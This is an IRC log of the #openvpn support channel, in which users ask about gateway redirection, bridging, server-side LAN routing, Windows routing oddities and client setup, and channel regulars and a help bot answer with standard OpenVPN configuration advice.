03:36 < Aketzu> don't have --redirect-gateway config
03:36 < cian1500ww> Aketzu: I don't have it set
03:37 < Aketzu> is it pushed from server?
03:38 < cian1500ww> route-gateway is pushed
03:38 < cian1500ww> For some routes I've added
03:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:42 < cian1500ww> Here's my configuration: http://pastebin.com/seUrDfqR
03:45 -!- dradec [~d@unaffiliated/dradec] has quit [Ping timeout: 240 seconds]
03:45 < Aketzu> can you also post client logs
03:57 < cian1500ww> Hmm, running openvpn directly on the client results in the default gateway not being changed but when invoked through NetworkManager, it changes the default gateway to the VPN. Doesn't look like an issue with the server side configuration so.
03:57 < Aketzu> networkmanager is evil
03:59 < cian1500ww> It's used by the majority of my clients unfortunately. There is an option to only use the connection for resources on its network which stops the gateway being changed but it's not turned on by default.
04:04 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:24 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
04:48 -!- esde [~esde@unaffiliated/esde] has quit [Read error: Operation timed out]
04:48 -!- aji [~alex@atheme/member/aji] has quit [Read error: Operation timed out]
04:48 -!- master_o1_master [~master_of@p4FD7B948.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
04:48 -!- esde [~esde@162.218.209.203] has joined #openvpn
04:48 -!- uuuppz [uuuppz@78.129.207.46] has quit [Read error: Operation timed out]
04:49 -!- uuuppz [uuuppz@78.129.207.46] has joined #openvpn
04:49 -!- aji [~alex@atheme/member/aji] has joined #openvpn
04:50 -!- master_of_master [~master_of@p4FF248F7.dip0.t-ipconnect.de] has joined #openvpn
05:02 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
05:11 -!- ade_b [~Ade@g231111186.adsl.alicedsl.de] has joined #openvpn
05:11 -!- ade_b [~Ade@g231111186.adsl.alicedsl.de] has quit [Changing host]
05:11 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:27 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 240 seconds]
05:39 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:40 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
05:40 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
05:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
05:44 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
05:48 -!- Zordrak [~jaz@87-194-137-223.bethere.co.uk] has quit [Ping timeout: 245 seconds]
05:49 -!- Zordrak [~jaz@87-194-137-223.bethere.co.uk] has joined #openvpn
05:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:02 -!- pkug [~pkug@elmis.litnet.lt] has joined #openvpn
06:03 < pkug> hi there, just a quick question, how is it possible to retrieve the output when external script called with --client-connect fails (stderr) ?
06:09 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
06:12 -!- MattJ [~matthew@82.152.33.17] has joined #openvpn
06:16 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
06:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Write error: Broken pipe]
06:16 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Write error: Connection reset by peer]
06:19 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
06:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:24 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
06:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:37 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-nxjxkvaqtfxcovbw] has quit [Remote host closed the connection]
06:38 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Quit: Using ZNC - http://znc.sourceforge.net]
06:42 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
06:50 -!- master_of_master [~master_of@p4FF248F7.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
06:52 -!- master_of_master [~master_of@p4FF24C8D.dip0.t-ipconnect.de] has joined #openvpn
06:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:59 -!- pkug [~pkug@elmis.litnet.lt] has left #openvpn []
07:08 < doug[home]> krzee: i think i will give up onthe idea
07:19 -!- master_o1_master [~master_of@p4FF24413.dip0.t-ipconnect.de] has joined #openvpn
07:22 -!- master_of_master [~master_of@p4FF24C8D.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
07:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
07:32 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:47 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:54 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
07:57 -!- master_of_master [~master_of@p4FF2457B.dip0.t-ipconnect.de] has joined #openvpn
07:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:00 -!- master_o1_master [~master_of@p4FF24413.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
08:06 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
08:17 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
08:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:22 -!- lmm_ is now known as lmm
08:23 -!- gac [~gavin@196.108.255.149.in-addr.arpa] has joined #openvpn
08:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
08:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
08:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:38 -!- tapout [~tapout@unaffiliated/tapout] has quit [Ping timeout: 260 seconds]
08:43 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
08:45 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Remote host closed the connection]
08:52 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
08:52 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
08:56 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
08:57 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
09:12 -!- ptman [ptman@pusta.ptman.name] has left #openvpn []
09:23 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-wkiapfjkrbxtffbn] has joined #openvpn
09:28 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
09:35 -!- mndo [~mndo@bl17-93-41.dsl.telepac.pt] has joined #openvpn
09:35 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
09:52 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
10:16 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Ping timeout: 260 seconds]
10:21 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-wkiapfjkrbxtffbn] has quit [Excess Flood]
10:22 -!- raidz_away is now known as raidz
10:24 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-osdnldgeumekvifs] has joined #openvpn
10:27 -!- FuryFoo [~opera@server.mastermindnetworks.org] has joined #openvpn
10:33 < FuryFoo> Hi everyone - my VPN connection seems to run atrociously slow out of the blue . It used to halve the Internet speed and double the pingtime .
10:33 < FuryFoo> Now it goes over 400% slower -  even a simple Google search takes 8 seconds.
10:33 < FuryFoo> The server seems to be fine no CPU spike , low traffic . I've already restarted service openvpn & service network but to no avail.
10:33 < FuryFoo> Has anyone else experienced something like this ? I would love to hear your opinions on this.
10:34 -!- mribeirodantas [~mribeirod@fedora/mribeirodantas] has joined #openvpn
10:34 < mribeirodantas> Hello there. I Hamachi in order to play a game, but I refuse to use proprietary software. I was told I can accomplish the same by using OpenVPN. Could anyone help me, please?
10:34 < mribeirodantas> I need Hamachi*
10:36 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:36 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
10:36 < FuryFoo> BTW I've tested the VPN speed from multiple machines form around the world , same huge speed drop.
10:38 -!- kubbing_ [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
10:38 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
10:41 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-osdnldgeumekvifs] has quit [Excess Flood]
10:43 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-xttyidwzrjeqpoyn] has joined #openvpn
10:49 -!- baphomet1 [~destructo@12.235.42.129] has joined #openvpn
10:50 -!- FuryFoo [~opera@server.mastermindnetworks.org] has left #openvpn []
10:54 < baphomet1> Hey guys! I have a question that I am hoping someone could help me out with.  I have Amahi running on top of Ubuntu and I installed their OpenVPN app on it.  The default setup for OpenVPN appears to be one that does not allow me to view my remote LAN clients.  I would like to be able to view my remote LAN clients while connected to this tunnel.  There are instructions for bridging and I am not sure if I need to actually do them.  My reasoning for won
10:54 < baphomet1> dering that is that I came across a thread on the Amahi forums (https://forums.amahi.org/viewtopic.php?f=3&t=4348&start=10 see tedstriker's post on this page that has instructions) where a user appears to maybe have gotten it working without using a TAP device.  Could anyone provide me with any guidance here?  Looking at the thread it is not clear if that user actually ran through the bridging instructions or not.
10:54 <@vpnHelper> Title: Amahi Forums View topic - VPN unable to see network resources other than hba (at forums.amahi.org)
11:01 <+pekster> baphomet1: what's your end-goal here? You want to remotely access the server-side LAN? No need for tap for that; see !serverlan and if you're new to openvpn, maybe read the !howto
11:02 < baphomet1> pekster, basically yes.  I want to be able to browse the internet and view the server-side LAN
11:02 < baphomet1> !serverlan
11:02 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
11:02 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
11:03 < baphomet1> pekster, it looks like then I can run the script that was outlined in that thread and have it working.  this would save me a ton of frustration with my L2TP tunnel and Ubuntu client.
11:05 < baphomet1> thanks!
11:05 < baphomet1> !route_outside_openvpn
11:05 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
11:05 < baphomet1> !ipforward
11:05 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
11:06 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:08 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
11:09 <+pekster> baphomet1: OpenVPN won't interfere with browsing the Internet; if you wanted to do that *over* the VPN, you want !redirect instead
11:09 <+pekster> (done right, that will also enable accessing the server-side-LAN, although you will still need a return route so the LAN can route back to the VPN client network)
11:12 < baphomet1> !redirect
11:12 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
11:12 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
11:13 < baphomet1> thanks again pekster
11:21 -!- mndo_ [~mndo@bl17-93-41.dsl.telepac.pt] has joined #openvpn
11:23 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 252 seconds]
11:23 -!- mndo_ [~mndo@bl17-93-41.dsl.telepac.pt] has quit [Max SendQ exceeded]
11:23 -!- mndo_ [~mndo@bl17-93-41.dsl.telepac.pt] has joined #openvpn
11:23 -!- kubbing_ [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
11:24 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
11:24 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:24 -!- mndo [~mndo@bl17-93-41.dsl.telepac.pt] has quit [Ping timeout: 248 seconds]
11:26 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Read error: Operation timed out]
11:26 -!- Kireji [~nospam@biocontact.org] has joined #openvpn
11:29 < Kireji> I use openvpn with tunnelblick on a mac laptop.  looking for solutions to "forgetting" to connect... rarely I'll have some connection issue and get online and openvn won't be connected - and the only indicator is a tiny icon in the corner from tunnelblick.  would like my laptop to be more persistent, throw modal warnings, buzz, scream whatever, etc when openvpn is not connected.  anyone have ideas / connections / solutions?
11:31 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
11:32 <+pekster> Kireji: Reduce the --ping-restart time to make openvpn realize the tunnel is broken sooner at the expense of more possible false positives when a few packets were lost but then recovered
11:32 <+pekster> See also the --down and --up-restart options that you can use to run external executables when the link goes down during restarts
11:33 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
11:41 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
11:47 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:47 -!- mode/#openvpn [+v s7r] by ChanServ
11:47 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:48 -!- nitram__ [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has quit [Read error: Operation timed out]
11:56 -!- heraclitus [~halcyon@cpe-72-181-253-113.tx.res.rr.com] has joined #openvpn
11:56 -!- heraclitus [~halcyon@cpe-72-181-253-113.tx.res.rr.com] has quit [Changing host]
11:56 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
11:57 -!- mist__ [~mist@c-74fa70d5.034-4-67626721.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out]
12:03 -!- halcyon_ [~halcyon@ip-static-94-242-252-198.as5577.net] has joined #openvpn
12:04 -!- halcyon_ is now known as halcyon
12:04 -!- halcyon [~halcyon@ip-static-94-242-252-198.as5577.net] has quit [Client Quit]
12:06 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Ping timeout: 248 seconds]
12:16 -!- mribeirodantas [~mribeirod@fedora/mribeirodantas] has quit [Quit: bbl]
12:28 -!- Diffen [~diffen@c-077ae555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
12:34 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
12:35 -!- surfmasta [~surfmasta@80.92.88.10] has quit [Read error: Operation timed out]
12:35 < heraclitus> the openvpn-auth-pam module says in the readme that it will only work on compatible *nix systems, does that mean only server side, or client side, as well?
12:36 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ubuvqxswgajlzfot] has joined #openvpn
12:36 -!- mndo_ [~mndo@bl17-93-41.dsl.telepac.pt] has quit [Read error: No route to host]
12:43 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
12:46 -!- Diffen [~diffen@c-077ae555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Quit: Leaving]
12:46 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
12:49 -!- surfmasta [~surfmasta@80.92.88.10] has joined #openvpn
12:54 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-xttyidwzrjeqpoyn] has quit [Excess Flood]
12:54 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-oiyzknpzynfxqpun] has joined #openvpn
13:14 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: quit]
13:27 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
13:28 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
13:28 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
13:29 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
13:29 -!- mode/#openvpn [+v s7r] by ChanServ
13:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:37 <+pekster> heraclitus: The client doesn't care at all what the backend of the server is; it's simply sending the user/pass across the TLS channel to the server for it to process
13:39 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-oiyzknpzynfxqpun] has quit [Excess Flood]
13:39 -!- baphomet1 [~destructo@12.235.42.129] has quit [Ping timeout: 256 seconds]
13:39 < heraclitus> that's what I thought, pekster thank you
13:40 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-nvctrkcxxmknyrtt] has joined #openvpn
13:48 -!- STLBrian [brian@chi0.bnc.im] has joined #openvpn
13:50 -!- STLBrian [brian@chi0.bnc.im] has left #openvpn ["WeeChat 0.4.2-rc1"]
13:59 -!- toothe [~mongolian@unaffiliated/toothe] has left #openvpn []
14:00 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
14:00 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
14:00 -!- mode/#openvpn [+v s7r] by ChanServ
14:06 -!- caelian is now known as Unregistered
14:07 -!- Unregistered is now known as caelian
14:09 -!- krapper [krapper@23.21.191.223] has quit [Quit: Disconnecting from stoned server.]
14:10 -!- krapper [~krapper@23.21.191.223] has joined #openvpn
14:12 < gac> so i'm after someone with a bit of bridging experience. openvpn server, fairly standard TAP config (needs to be bridged), i have at least two windows clients which don't seem to be obeying their routing table, traffic to some IPs goes down the tunnel reliably, traffic to some other IPs on the same subnet goes out of the standard LAN interface (with a LAN source IP and gets sent to the default LAN gateway). anyone seen similar behaviour?
14:13 -!- takamichi [~takamichi@92.251.122.219] has joined #openvpn
14:13 <+pekster> gac: To start with, are you sure you need bridging? Second, a system that has an interface on-link will never send it to the MAC address of the default gateway unless that is the target of the communication
14:13 <+pekster> s/interface/address/
14:14 <+pekster> You cannot have both the tap and physical interface on the same network and expect that to do what you want
14:14 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
14:14 <+pekster> (networks on a dual-homed host must be unique)
14:14 < gac> yeah, we need bridging, need to extend the LAN simply for all protocols (or as many as possible). we're happy with the trade-off of speed for flexibility. as for the TAP and physical interface, they're not on the same network which is the confusing thing
14:15 <+pekster> You aren't overlapping networks are you?
14:15 < gac> tunnel is using 192.168.0.0/16 which the TAP adapter gets, and sets up a route for. client network is 10.0.0.0/17
14:15 <+pekster> Don't use that network for your tap
14:16 <+pekster> That's 1) way (WAY!) too big, 2) overlaps the *highly* common 192.168.0/24 and 192.168.1/24 networks, and 3) will cuase issues for *any* smaller subnet in that supernet
14:16 < gac> but even though the TAP route is 192.168.0.0/16, pinging certain addresses in 192.168 end up with the ping going from 10.0.0.1 to 192.168.0.0 on the physical LAN
14:16 < gac> unfortunately, that's how the client have their network configured :)
14:16 <+pekster> That will break all over
14:16 < gac> i can suggest that they change it, but not in a position to force it, sadly
14:16 <+pekster> Not really our problem if you have a client who's brain-dead
14:17 <+pekster> Without a routing table from the client having "issues" one can't really say why you're having issues, but that will very much break for lots (read: almost all) of SOHO setups
14:17 < gac> no, indeed. i'm not suggesting it's your problem, i simply came in to ask if anyone had experience of what i'm seeing, which is that windows 7 is ignoring its routing table and sending packets out of the physical interface to be dealt with by my default gateway, rather than down the tunnel which is where the routing table says they should go
14:18 <+pekster> Never overlap a network when you do not know full well in advance that you can avoid conflict 100%
14:18 <+pekster> Computers aren't like teenagers, no; they don't just decide to not do something to screw with you
14:18 < gac> surely if that were the case, the more specific route for the home network would win anyway? but regardless, that's not my issue because when I'm testing the connection, my network is on a completely different subnet and it still breaks
14:18 <+pekster> gac: No, that's the problem; if 192.168.0/24 is more-specific than 192.168/16
14:19 < gac> ah yeah, ok, i see what you mean
14:19 <+pekster> It's a really stupid network choice and whoever did that needs to be flogged for it
14:19 < gac> but like i said, that's not my problem. i can reproduce their issue on my LAN which isn't anywhere near their subnet, so something odd is happening
14:19 < gac> let me see if i left my office PC on, i can try and pastebin the routing tables and ping results
14:19 <+pekster> Apparently. I don't care unless you have a routing table
14:20 <+pekster> Generally it's not helpful to ask if "anyone has ever seen X" http://catb.org/~esr/faqs/smart-questions.html#explicit
14:20 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
14:21 < gac> indeed, normally i wouldn't, and i've tried various things today to solve it myself (including setting the tunnel as my default gateway, publishing a route explicitly rather than relying on the IP allocation bringing up the route) with no change in results. so all i can do is ask "has anyone seen instances of a routing table being ignored" cos if I could ask any more explicitly, I'd probably be able to find what the problem was :)
14:22 <+pekster> Since set anyone includes you, the answer is apparently "yes."
14:23 < gac> yes, ok, fair point, you win etc
14:24 <+pekster> And no, there's no good reason for that, especially since Windows 7 lacks advanced features like policy routing that might cause such behaviour on a *nix (this is probably what you really wanted to inquire about)
14:26 < gac> yeah, I didn't think it did
14:27 < gac> very odd behaviour that I've not come across before
14:39 -!- MattJ [~matthew@82.152.33.17] has quit [Ping timeout: 240 seconds]
14:40 -!- MattJ [~matthew@82.152.33.17] has joined #openvpn
14:47 < gac> http://pastebin.com/v8Vh8q3u - so there's the routing table, an example of one non-working IP (with the tcpdump from my home router) and one that works fine (which if I tcpdump it from the console of the server side, I can see traversing tap0 as normal)
14:47 -!- takamichi [~takamichi@92.251.122.219] has quit [Quit: Computer has gone to sleep.]
14:48 < gac> so far as I can tell it's pretty clear cut, anything for 192.168/16 should be going down the tunnel (yes, it's a very big route, but based on the fact that these packets are going out of the LAN interface, the packet loss isn't a performance problem even though the performance may well suck on a network that size)
14:52 <+pekster> That's insanely goofy
14:52 < gac> yeah, I thought so too
14:52 <+pekster> I assume that works properly from a Linux host?
14:53 < gac> yep, so far I've tried the same configs and same server on win7 and win8 (which both behave like that) and linux mint 14 which worked ok
14:53 < gac> also two different machines on win7, in two locations (one laptop in the office, and my home PC here)
14:54 < gac> the only thing the failures seem to have in common is "the machines run windows". the credentials have been the same on windows/linux so it's not a crazy auth thing
14:55 < gac> (it's a linux ovpn server btw, dunno if that's relevant but i know linux was/is the preferred platform so this isn't a "bridging doesn't work right on a windows server" issue)
14:57 <@ecrist> I wouldn't consider linux the preferred platform
14:57 <@ecrist> I don't believe it ever was, either
14:58 < gac> fair enough, i was under that impression, particularly for bridged servers (i thought they use to either not work, or work poorly on windows). happy to be wrong though
15:01 <+pekster> Any non-windows platform is "usually" a better choice; it's only been since roughly the 2.6 kernel that Linux has "proper" networking support, though the tools to do this have now existed for roughly a decade
15:01 <+pekster> !bestos
15:01 <@vpnHelper> "bestos" is the best os for openvpn is the one you are most comfortable with
15:05 <+pekster> (but you'd better edit yoru configs with vim, otherwise you're on the wrong side of that holy war ;)
15:05 < gac> when necessary, yeah...or notepad++ on windows (which doesn't stir up quite the same level of hatred!)
15:05 <+pekster> gvim ftw ;)
15:06 < gac> :)
15:06 <+pekster> But my point is that OpenVPN is effectively cross-platform with (most, anyway) of its features; what OS you select needs to be based on business and external software needs
15:07 < gac> yeah, you're probably right. in this case, i think it has to be windows as a client doing something screwy, rather than a server issue. everything seems fine on the server end; running tcpdump across tap0 shows that the traffic is going over ok when windows sends it in the right direction
15:07 <@ecrist> vim or gtfo
15:10 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
15:11 <+pekster> http://pekster.sdf.org/emacs.html
15:11 <@vpnHelper> Title: Emacs: a short poem (at pekster.sdf.org)
15:12 < EugeneKay> One of these days I'll switch back to nano
15:12 -!- tapout [~tapout@unaffiliated/tapout] has joined #openvpn
15:13 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has joined #openvpn
15:13 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 252 seconds]
15:14 -!- mist_ [~mist@c-74fa70d5.034-4-67626721.cust.bredbandsbolaget.se] has joined #openvpn
15:14 < mist_> do openvpn clients need a portforward?
15:14 -!- ghost1235 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
15:15 -!- nebulta [~TNEB@172.15.22.189] has quit [Quit: Leaving]
15:16 < EugeneKay> No.
15:16 < gac> mist_: no, as it's an outbound connection from client->server
15:16 < mist_> YES!
15:16 < mist_> thankyou, perfect, problem solved =)
15:17 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds]
15:17 -!- nebulta [~TNEB@nyx.feralhosting.com] has joined #openvpn
15:27 -!- Denial [Denial@05417302.skybroadband.com] has quit []
15:31 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
15:31 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has joined #openvpn
15:33 < mist_> whats the difference between a desktop client and a connect client?
15:34 <+pekster> !connect
15:34 <@vpnHelper> "connect" is OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide
15:34 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:35 <+pekster> There is no "desktop client" download for OpenVPN (that's AS-specific stuff.) The GPL (the only thing known simply as "OpenVPN") download can be configured to run either as a client or server
15:35 < mist_> !download
15:35 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
15:35 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
15:39 -!- dradec [~d@unaffiliated/dradec] has quit [Quit: Disconnected from chain!]
15:56 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
15:56 -!- ade_b [~Ade@g231111186.adsl.alicedsl.de] has joined #openvpn
15:56 -!- ade_b [~Ade@g231111186.adsl.alicedsl.de] has quit [Changing host]
15:56 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:57 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has joined #openvpn
16:13 -!- neutr0n` [~neutr0n@wsip-24-248-162-194.ks.ok.cox.net] has joined #openvpn
16:13 < neutr0n`> anyone having issues with windows 8.1 openvpn since the 29-30th of september?
16:28 <+pekster> !easyrsa3
16:29 <@ecrist> !ping
16:29 <@vpnHelper> pong
16:46 <+pekster> Ah, a search reveals:
16:46 <+pekster> !easyrsa-ng
16:46 <@vpnHelper> "easyrsa-ng" is To track development or usage of the next-gen Easy-RSA codebase with improvements to the original, see http://pekster.sdf.org/code/projects/easyrsa3.html . Be aware this code is beta , but is usable as it stands now. Send suggestions/comments to pekster.
16:46 <+pekster> The landing page probably needs to just point to github docs when that's available (nevermind the old beta-2 downloads; git-master is far newer at this point)
16:47 -!- nutron|w [~nutron@184.68.34.30] has joined #openvpn
16:49 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has quit [Ping timeout: 240 seconds]
16:51 -!- raidz is now known as raidz_away
16:51 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
16:51 -!- nutron|w [~nutron@184.68.34.30] has quit [Read error: Connection reset by peer]
16:51 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 248 seconds]
16:56 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 240 seconds]
17:05 -!- ghost1235 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds]
17:26 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ubuvqxswgajlzfot] has quit [Ping timeout: 248 seconds]
17:32 -!- baphomet1 [~destructo@12.235.42.129] has joined #openvpn
17:34 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
